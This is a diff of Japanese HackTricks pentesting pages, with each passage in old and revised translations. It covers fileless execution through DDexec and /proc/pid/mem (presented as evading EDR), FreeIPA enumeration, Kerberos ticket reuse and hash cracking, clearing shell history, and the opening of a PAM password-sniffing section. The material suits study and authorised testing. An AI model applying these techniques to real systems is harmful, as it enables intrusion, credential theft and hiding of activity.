ファイル `/proc/$pid/mem` はプロセスのアドレス空間全体の1対1のマッピングです(例: x86-64 では `0x0000000000000000` から `0x7ffffffffffff000` まで)。これは、オフセット `x` でこのファイルから読み取りまたは書き込みを行うことは、仮想アドレス `x` の内容を読み取るか変更することと同じです。
|
||||
|
||||
現在、私たちは4つの基本的な問題に直面しています:
|
||||
さて、私たちが直面する基本的な問題は4つあります:
|
||||
|
||||
* 一般的に、ファイルを変更できるのは root とプログラムの所有者だけです。
|
||||
* 一般的に、ルートとファイルのプログラム所有者のみが変更できます。
|
||||
* ASLR。
|
||||
* プログラムのアドレス空間にマップされていないアドレスに読み書きしようとすると、I/O エラーが発生します。
|
||||
* プログラムのアドレス空間にマップされていないアドレスに読み取りまたは書き込みを試みると、I/O エラーが発生します。
|
||||
|
||||
これらの問題には解決策がありますが、完璧ではありませんが良いものです:
|
||||
これらの問題には、完璧ではないが良い解決策があります:
|
||||
|
||||
* ほとんどのシェルインタープリタは、子プロセスに継承されるファイルディスクリプタの作成を許可します。書き込み権限を持つシェルの `mem` ファイルを指す fd を作成することができます... そのため、その fd を使用する子プロセスはシェルのメモリを変更できるようになります。
|
||||
* ASLR は問題ではありません。プロセスのアドレス空間に関する情報を得るために、シェルの `maps` ファイルや procfs の他のファイルをチェックすることができます。
|
||||
* したがって、ファイル上で `lseek()` を行う必要があります。シェルからは、悪名高い `dd` を使用しない限り、これを行うことはできません。
|
||||
* ほとんどのシェルインタプリタは、子プロセスで継承されるファイルディスクリプタを作成することを許可します。私たちは、`mem` ファイルへの書き込み権限を持つ fd を作成できます... その fd を使用する子プロセスはシェルのメモリを変更できるようになります。
|
||||
* ASLR は問題ではありません。プロセスのアドレス空間に関する情報を得るために、シェルの `maps` ファイルや procfs の他のファイルをチェックできます。
|
||||
* したがって、ファイル上で `lseek()` を行う必要があります。シェルからは、悪名高い `dd` を使用しない限り、これはできません。
|
||||
|
||||
### 詳細について
|
||||
### より詳細に
|
||||
|
||||
手順は比較的簡単で、理解するための専門知識は必要ありません:
|
||||
手順は比較的簡単であり、理解するために専門知識は必要ありません:
|
||||
|
||||
* 実行したいバイナリとローダーを解析して、必要なマッピングを見つけ出します。次に、カーネルが `execve()` を呼び出すたびに行うのと大まかに同じ手順を実行する "シェル"コードを作成します:
|
||||
* 当該マッピングを作成します。
|
||||
* 実行したいバイナリとローダーを解析し、必要なマッピングを見つけます。その後、`execve()` への各呼び出しでカーネルが行う手順と大まかに同じ手順を実行する "シェル"コードを作成します:
|
||||
* これらのマッピングを作成します。
|
||||
* バイナリをそれらに読み込みます。
|
||||
* 権限を設定します。
|
||||
* 最終的にプログラムの引数と補助ベクトル(ローダーに必要)をスタックに初期化し、配置します。
|
||||
* ローダーにジャンプして、残りの作業(プログラムに必要なライブラリのロード)をさせます。
|
||||
* `syscall` ファイルから、プロセスが実行中のシステムコールの後に戻るアドレスを取得します。
|
||||
* 実行可能なその場所を、私たちのシェルコードで上書きします(`mem` を通じて書き込み不可のページを変更できます)。
|
||||
* 実行したいプログラムをプロセスの標準入力に渡します("シェル"コードによって `read()` されます)。
|
||||
* この時点で、ローダーがプログラムに必要なライブラリをロードしてそれにジャンプするのはローダー次第です。
|
||||
* 最後に、プログラムの引数でスタックを初期化し、ローダーが必要とする補助ベクトルを配置します。
|
||||
* ローダーにジャンプし、残りの処理をさせます(プログラムが必要とするライブラリをロードします)。
|
||||
* 実行中のプロセスが実行後に戻るアドレスを `syscall` ファイルから取得します。
|
||||
* その場所(実行可能な場所)を私たちのシェルコードで上書きします(`mem` を介して書き込み不可のページを変更できます)。
|
||||
* 実行したいプログラムをプロセスの stdin に渡します("シェル"コードによって `read()` されます)。
|
||||
* この時点で、プログラムをロードするために必要なライブラリをロードし、それにジャンプするかどうかはローダー次第です。
|
||||
|
||||
**ツールはこちらでチェックしてください** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
**ツールを確認する** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
|
||||
## EverythingExec
|
||||
|
||||
2022年12月12日現在、`dd` に代わるいくつかの代替手段を見つけました。その中の1つである `tail` は、`mem` ファイルを `lseek()` するために(それが `dd` を使用する唯一の目的でした)現在デフォルトのプログラムとして使用されています。その代替手段は次のとおりです:
|
||||
2022年12月12日現在、`dd` の代替手段をいくつか見つけました。そのうちの1つである `tail` は、現在 `mem` ファイルを `lseek()` するために使用されているデフォルトプログラムです(`dd` を使用する唯一の目的でした)。これらの代替手段は次のとおりです:
|
||||
```bash
|
||||
tail
|
||||
hexdump
|
||||
cmp
|
||||
xxd
|
||||
```
|
||||
変数 `SEEKER` を設定することで、使用するシーカーを変更できます。例えば:
|
||||
変数`SEEKER`を設定すると、使用するシーカーを変更できます。 例:
|
||||
```bash
|
||||
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
スクリプトに実装されていない有効なseekerを見つけた場合でも、`SEEKER_ARGS`変数を設定することで使用することができます:
|
||||
もしスクリプトに実装されていない別の有効なシーカーを見つけた場合は、`SEEKER_ARGS`変数を設定して使用することができます:
|
||||
```bash
|
||||
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
```markdown
|
||||
Block this, EDRs.
|
||||
ブロックする、EDRs。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -7,25 +7,25 @@
|
|||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
FreeIPA は、Microsoft Windows **Active** **Directory** のオープンソースの **代替** として提示され、統合管理のために主に **Unix** 環境で利用されています。これには、Active Directory に類似した MIT **Kerberos** Key Distribution Center によってバックアップされた完全な **LDAPディレクトリ** が備わっています。Dogtag **Certificate System** は、CA&RA証明書の管理に使用され、スマートカードを含む **マルチファクタ**認証機能を可能にします。Unix認証プロセスへの統合には、SSSD が使用されています。
|
||||
FreeIPA は、Microsoft Windows **Active** **Directory** のオープンソース **代替** として提示され、統合管理のために主に **Unix** 環境で利用されています。これには、Active Directory に類似した MIT **Kerberos** Key Distribution Center によってバックアップされた完全な **LDAP ディレクトリ** が備わっています。Dogtag **Certificate System** は CA & RA 証明書の管理に使用され、スマートカードを含む **マルチファクタ**認証機能を可能にします。Unix 認証プロセスへの統合には、SSSD が使用されています。
|
||||
|
||||
## フィンガープリント
|
||||
|
||||
### ファイルと環境変数
|
||||
|
||||
- `/etc/krb5.conf` にあるファイルには、ドメインへの登録に必要な Kerberos クライアント情報が格納されています。これには、KDCや管理サーバーの場所、デフォルト設定、マッピングが含まれます。
|
||||
- IPAクライアントとサーバーのシステム全体のデフォルト設定は、`/etc/ipa/default.conf` に配置されています。
|
||||
- `/etc/krb5.conf` にあるファイルには、ドメインへの登録に必要な Kerberos クライアント情報が格納されています。これには、KDC および管理サーバーの場所、デフォルト設定、およびマッピングが含まれます。
|
||||
- IPA クライアントおよびサーバーのシステム全体のデフォルト設定は、`/etc/ipa/default.conf` に配置されています。
|
||||
- ドメイン内のホストは、認証プロセスに `/etc/krb5.keytab` にある `krb5.keytab` ファイルを持っている必要があります。
|
||||
- 様々な環境変数(`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`)が、Kerberos認証に関連する特定のファイルや設定を指すために使用されます。
|
||||
- 様々な環境変数(`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`)が、Kerberos 認証に関連する特定のファイルや設定を指すために使用されます。
|
||||
|
||||
### バイナリ
|
||||
|
||||
|
@ -37,23 +37,23 @@ FreeIPA は、Microsoft Windows **Active** **Directory** のオープンソー
|
|||
|
||||
## 認証
|
||||
|
||||
FreeIPA における **Kerberos** を利用した認証は、**Active Directory** と同様です。ドメインリソースへのアクセスには有効な Kerberos チケットが必要であり、FreeIPA ドメインの構成に応じて異なる場所に保存されます。
|
||||
FreeIPA における **Kerberos** を利用した認証は、**Active Directory** と同様です。ドメインリソースへのアクセスには有効な Kerberos チケットが必要であり、これは FreeIPA ドメインの構成に応じてさまざまな場所に保存されます。
|
||||
|
||||
### **CCACHE チケットファイル**
|
||||
|
||||
通常は **`/tmp`** に **600** の権限で保存される CCACHE ファイルは、Kerberos資格情報を保存するためのバイナリ形式であり、ユーザーの平文パスワードなしでの認証に重要です。CCACHE チケットの解析は `klist` コマンドを使用して行い、有効な CCACHE チケットを再利用するには、`KRB5CCNAME` をチケットファイルのパスにエクスポートする必要があります。
|
||||
通常は **`/tmp`** に **600** の権限で保存される CCACHE ファイルは、Kerberos 資格情報を保存するためのバイナリ形式であり、ユーザーの平文パスワードなしでの認証に重要です。CCACHE チケットの解析は `klist` コマンドを使用して行い、有効な CCACHE チケットを再利用するには、`KRB5CCNAME` をチケットファイルのパスにエクスポートする必要があります。
|
||||
|
||||
### **Unixキーリング**
|
||||
### **Unix キーリング**
|
||||
|
||||
代わりに、CCACHE チケットを Linux キーリングに保存することもでき、チケットの管理についてより多くの制御が可能です。チケットの保存範囲は異なります(`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`)、`klist` はこの情報をユーザーに対して解析することができます。ただし、Unixキーリングから CCACHE チケットを再利用することは課題があり、**Tickey** のようなツールが利用可能です。
|
||||
代わりに、CCACHE チケットは Linux キーリングに保存することができ、チケットの管理についてより多くの制御を提供します。チケットの保存範囲は異なります(`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`)、`klist` はこの情報をユーザーに対して解析することができます。ただし、Unix キーリングから CCACHE チケットを再利用することは課題があり、**Tickey** のようなツールが Kerberos チケットを抽出するために利用できます。
|
||||
|
||||
### Keytab
|
||||
|
||||
Kerberosプリンシパルと暗号化されたキーを含む Keytab ファイルは、プリンシパルのパスワードを必要とせずに有効なチケット発行チケット(TGT)を取得するために重要です。Keytab ファイルからの資格情報の解析と再利用は、`klist` のようなユーティリティや **KeytabParser** などのスクリプトを使用して簡単に実行できます。
|
||||
Kerberos プリンシパルと暗号化キーを含む Keytab ファイルは、プリンシパルのパスワードを必要とせずに有効なチケット発行チケット(TGT)を取得するために重要です。Keytab ファイルからの資格情報の解析と再利用は、`klist` のようなユーティリティや **KeytabParser** のようなスクリプトを使用して簡単に実行できます。
|
||||
|
||||
### チートシート
|
||||
|
||||
Linuxでチケットを使用する方法に関する詳細情報は、以下のリンクで見つけることができます:
|
||||
Linux でチケットを使用する方法に関する詳細情報は、以下のリンクで見つけることができます:
|
||||
|
||||
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
|
||||
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
|
||||
|
@ -62,14 +62,14 @@ Linuxでチケットを使用する方法に関する詳細情報は、以下の
|
|||
## 列挙
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ldap** や他の **バイナリ** ツールを使用した **列挙**、または FreeIPA サーバーのポート443のウェブページに **接続** することで **列挙** を実行できます。
|
||||
**ldap** や他の **バイナリ** ツールを使用したり、FreeIPA サーバーのポート 443 のウェブページに **接続** することで **列挙** を実行できます。
|
||||
{% endhint %}
|
||||
|
||||
### ホスト、ユーザー、およびグループ <a href="#4b3b" id="4b3b"></a>
|
||||
|
||||
**ホスト**、**ユーザー**、および **グループ** を作成することが可能です。ホストとユーザーはそれぞれ "**ホストグループ**" と "**ユーザーグループ**" と呼ばれるコンテナに分類されます。これらは **組織単位**(OU)に類似しています。
|
||||
**ホスト**、**ユーザー**、および **グループ** を作成することが可能です。ホストとユーザーはそれぞれ “**ホストグループ**” と “**ユーザーグループ**” と呼ばれるコンテナに分類されます。これらは **組織単位**(OU)に類似しています。
|
||||
|
||||
FreeIPAでは、LDAPサーバーは **匿名バインド** を許可しており、多くのデータが **未認証** で列挙可能です。これにより、未認証で利用可能なすべてのデータを列挙できます。
|
||||
デフォルトでは、FreeIPA では LDAP サーバーが **匿名バインド** を許可し、多くのデータが **未認証** で列挙可能です。これにより、未認証で利用可能なすべてのデータを列挙できます。
|
||||
```
|
||||
ldapsearch -x
|
||||
```
|
||||
|
@ -110,11 +110,11 @@ ipa hostgroup-show <host group> --all
|
|||
**IPAサーバー**の**root**ユーザーはパスワード**ハッシュ**にアクセスできます。
|
||||
|
||||
- ユーザーのパスワードハッシュは、「**userPassword**」**属性**に**base64**で保存されます。このハッシュは**SSHA512**(古いFreeIPAのバージョン)または**PBKDF2\_SHA256**である可能性があります。
|
||||
- パスワードの**Nthash**は、「ipaNTHash」に**base64**で保存されます(システムが**AD**と**統合**されている場合)。
|
||||
- パスワードの**Nthash**は、「ipaNTHash」に**base64**で保存されます。システムが**AD**と**統合**されている場合。
|
||||
|
||||
これらのハッシュをクラックするには:
|
||||
|
||||
- FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード** -> ASCIIヘックスに再エンコード -> John The Ripperまたは**hashcat**を使用して高速にクラックできます。
|
||||
- FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード** -> **ASCII**ヘックスに再エンコード -> John The Ripperまたは**hashcat**を使用して高速にクラックできます。
|
||||
|
||||
- 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されます:**base64**をデコード -> SSHA512 **ハッシュ**を見つける -> John The Ripperまたは**hashcat**を使用してクラックできます。
|
||||
|
||||
|
@ -139,7 +139,7 @@ ipa hbacrule-show <hbacrule> --all
|
|||
```
|
||||
#### Sudo-Rules
|
||||
|
||||
FreeIPAは、sudoルールを介して**sudo権限**に対する集中制御を可能にします。これらのルールにより、ドメイン内のホストでsudoを使用してコマンドを実行することを許可または制限することができます。攻撃者は、これらのルールセットを調査することで、適用可能なホスト、ユーザー、および許可されたコマンドを特定する可能性があります。
|
||||
FreeIPAは、sudoルールを介して**sudo権限**に対する集中制御を可能にします。これらのルールにより、ドメイン内のホストでsudoを使用してコマンドを実行することを許可または制限することができます。攻撃者は、これらのルールセットを調査することで、適用されるホスト、ユーザー、および許可されたコマンドを特定する可能性があります。
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
|
||||
|
@ -148,17 +148,17 @@ ipa sudorule-find
|
|||
# Show info of rule
|
||||
ipa sudorule-show <sudorule> --all
|
||||
```
|
||||
### ロールベースアクセス制御
|
||||
### ロールベースのアクセス制御
|
||||
|
||||
**ロール**はさまざまな**特権**で構成され、それぞれが一連の**権限**を含んでいます。これらのロールは、ユーザー、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに割り当てることができます。たとえば、この構造を示すために、FreeIPAのデフォルトの「ユーザー管理者」ロールを考えてみましょう。
|
||||
|
||||
`ユーザー管理者`ロールには以下の特権があります:
|
||||
ロール`ユーザー管理者`には、以下の特権があります:
|
||||
|
||||
- **ユーザー管理者**
|
||||
- **グループ管理者**
|
||||
- **ステージユーザー管理者**
|
||||
|
||||
以下のコマンドを使用して、ロール、特権、および権限を列挙することができます:
|
||||
以下のコマンドを使用すると、ロール、特権、および権限を列挙することができます:
|
||||
```bash
|
||||
# Using ldap
|
||||
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
|
||||
|
@ -205,8 +205,8 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**か、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
グローバル変数は**子プロセス**によって**継承されます**。
|
||||
|
||||
現在のセッションにグローバル変数を作成するには、次のようにします:
|
||||
現在のセッション用にグローバル変数を作成することができます。
|
||||
```bash
|
||||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
|
@ -50,7 +50,7 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
#### **すべてのユーザーの動作に影響を与えるファイル:**
|
||||
|
||||
* _**/etc/bash.bashrc**_: このファイルは対話型シェル(通常のターミナル)が起動されるたびに読み込まれ、ここに指定されたすべてのコマンドが実行されます。
|
||||
* _**/etc/profile および /etc/profile.d/\***_**:** このファイルはユーザーがログインするたびに読み込まれます。したがって、ここで実行されるすべてのコマンドはユーザーのログイン時に1度だけ実行されます。
|
||||
* _**/etc/profile および /etc/profile.d/\***_**:** このファイルはユーザーがログインするたびに読み込まれます。したがって、ここで実行されるすべてのコマンドは、ユーザーがログインする際に1度だけ実行されます。
|
||||
* \*\*例: \*\*
|
||||
|
||||
`/etc/profile.d/somescript.sh`
|
||||
|
@ -66,7 +66,7 @@ export $TEST
|
|||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – **X** が使用するディスプレイ。通常、この変数は **:0.0** に設定されます。これは現在のコンピューター上の最初のディスプレイを意味します。
|
||||
* **EDITOR** – ユーザーの選択したテキストエディター。
|
||||
* **EDITOR** – ユーザーの選択したテキストエディタ。
|
||||
* **HISTFILESIZE** – 履歴ファイルに含まれる最大行数。
|
||||
* **HISTSIZE** – ユーザーがセッションを終了するときに履歴ファイルに追加される行数。
|
||||
* **HOME** – ホームディレクトリ。
|
||||
|
@ -76,10 +76,10 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
* **MANPATH** – マニュアルページを検索するディレクトリのリスト。
|
||||
* **OSTYPE** – オペレーティングシステムのタイプ。
|
||||
* **PS1** – bash のデフォルトプロンプト。
|
||||
* **PATH** – 実行したいバイナリファイルを保持するすべてのディレクトリのパス。ファイル名を指定するだけで相対パスまたは絶対パスを指定せずに実行できます。
|
||||
* **PATH** – 実行したいバイナリファイルを保持するすべてのディレクトリのパス。ファイル名を指定するだけで相対パスや絶対パスを使用せずに実行できます。
|
||||
* **PWD** – 現在の作業ディレクトリ。
|
||||
* **SHELL** – 現在のコマンドシェルへのパス(たとえば、**/bin/bash**)。
|
||||
* **TERM** – 現在の端末タイプ(たとえば、**xterm**)。
|
||||
* **SHELL** – 現在のコマンドシェルへのパス(例: **/bin/bash**)。
|
||||
* **TERM** – 現在の端末タイプ(例: **xterm**)。
|
||||
* **TZ** – 時間帯。
|
||||
* **USER** – 現在のユーザー名。
|
||||
|
||||
|
@ -93,13 +93,13 @@ export HISTFILESIZE=0
|
|||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
この変数の値を0に変更してください。これにより、セッションを終了するときには、どのコマンドも履歴ファイル(\~/.bash\_history)に追加されません。
|
||||
この変数の値を0に変更してください。これにより、セッションを終了するときには、どんなコマンドも履歴ファイル(\~/.bash\_history)に追加されません。
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
プロセスは、ここで宣言された **プロキシ** を使用して、**httpまたはhttps** を介してインターネットに接続します。
|
||||
プロセスは、ここで宣言された **proxy** を使用して、**httpまたはhttps** を介してインターネットに接続します。
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Linux Post-Exploitation
|
||||
# Linuxポストエクスプロイテーション
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>を学ぶ!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**する
|
||||
- **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
## PAMを使用したログオンパスワードのスニッフィング
|
||||
## PAMを使用してログオンパスワードをスニッフィングする
|
||||
|
||||
PAMモジュールを設定して、ログインするたびに各ユーザーが使用するパスワードを記録しましょう。PAMが何かわからない場合は、以下をチェックしてください:
|
||||
PAMモジュールを構成して、各ユーザーがログインに使用するパスワードを記録します。PAMが何かわからない場合は、次を確認してください:
|
||||
|
||||
{% content-ref url="pam-pluggable-authentication-modules.md" %}
|
||||
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
